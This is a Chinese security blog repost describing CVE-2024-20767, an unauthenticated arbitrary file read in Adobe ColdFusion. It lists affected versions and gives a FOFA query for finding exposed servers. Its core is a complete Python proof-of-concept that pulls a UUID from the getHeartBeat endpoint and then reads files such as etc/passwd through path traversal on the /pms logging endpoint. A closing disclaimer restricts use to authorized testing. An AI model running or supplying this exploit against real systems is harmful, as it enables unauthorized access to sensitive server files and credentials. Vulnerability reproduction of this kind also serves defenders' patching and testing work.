Adobe ColdFusion 任意文件读取漏洞复现(CVE-2024-20767)

admin 2024年4月1日10:48:09评论19 views字数 2061阅读6分52秒阅读模式

0x01 产品简介

Adobe ColdFusion是美国奥多比(Adobe)公司的一套快速应用程序开发平台。该平台包括集成开发环境和脚本语言,将可扩展、改变游戏规则且可靠的产品的愿景变为现实。

0x02 漏洞概述

由于 Adobe ColdFusion 的访问控制不当,未经身份认证的远程攻击者可以构造恶意请求读取目标服务器上的任意文件,泄露敏感信息。

0x03 影响范围

ColdFusion 2023 <= Update 6

ColdFusion 2021 <= Update 12

0x04 复现环境

FOFA:

app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"

Adobe ColdFusion 任意文件读取漏洞复现(CVE-2024-20767)

0x05 漏洞复现 

POC

import requestsimport reimport urllib3import argparseurllib3.disable_warnings()parser = argparse.ArgumentParser()parser.add_argument("-t", "--target",required=True, help="Target Adobe ColdFusion Server URL")parser.add_argument("-p", "--port",required=False, default=8500, help="Target Adobe ColdFusion Server Port, by default we use the 8500 Port")parser.add_argument("-c", "--command", required=True,help="File to read path") # Example in Windows Server 'Windows/ServerStandardEval.xml' or Linux Server "etc/passwd"args = parser.parse_args()def get_uuid():    endpoint = "/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat" # Vulnerable endpoint to get the UUID    session = requests.Session()    try:        response = session.get(args.target+":"+str(args.port)+endpoint, verify=False)        print("[+] Connecting to ColdFusion Server...")        repattern = r"<var name='uuid'><string>(.+?)</string></var>" # Regex expression to get UUID        uuid = re.findall(repattern, response.text)[0]        print("[+] UUID Obtained: ", uuid)        return uuid    except:        print("[-] Error connecting to server")def exploit(uuid):    headers = {        "uuid": uuid    }    session = requests.Session()    endpoint2 = "/pms?module=logging&file_name=../../../../../../../"+args.command+"&number_of_lines=100" # Vulnerable endpoint to read files    response = session.get(args.target+":"+str(args.port)+endpoint2, verify=False, headers=headers)    if response.status_code == 200 and int(response.headers["Content-Length"]) > 2:        print("[+] Succesfully read file!")        print(response.text)    else:        print("[-] Something went wrong while reading file or the file doesn't exist")if __name__ == "__main__":    exploit(get_uuid())

公众号技术文章仅供诸位网络安全工程师对自己所管辖的网站、服务器、网络进行检测或维护时参考用,公众号的检测工具仅供各大安全公司的安全测试员安全测试使用。未经允许请勿利用文章里的技术资料对任何外部计算机系统进行入侵攻击,公众号的各类工具均不得用于任何非授权形式的安全测试。公众号仅提供技术交流,不对任何成员利用技术文章或者检测工具造成任何理论上的或实际上的损失承担责任。

原文始发于微信公众号(TKing的安全圈):Adobe ColdFusion 任意文件读取漏洞复现(CVE-2024-20767)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月1日10:48:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Adobe ColdFusion 任意文件读取漏洞复现(CVE-2024-20767)https://cn-sec.com/archives/2618766.html

发表评论

匿名网友 填写信息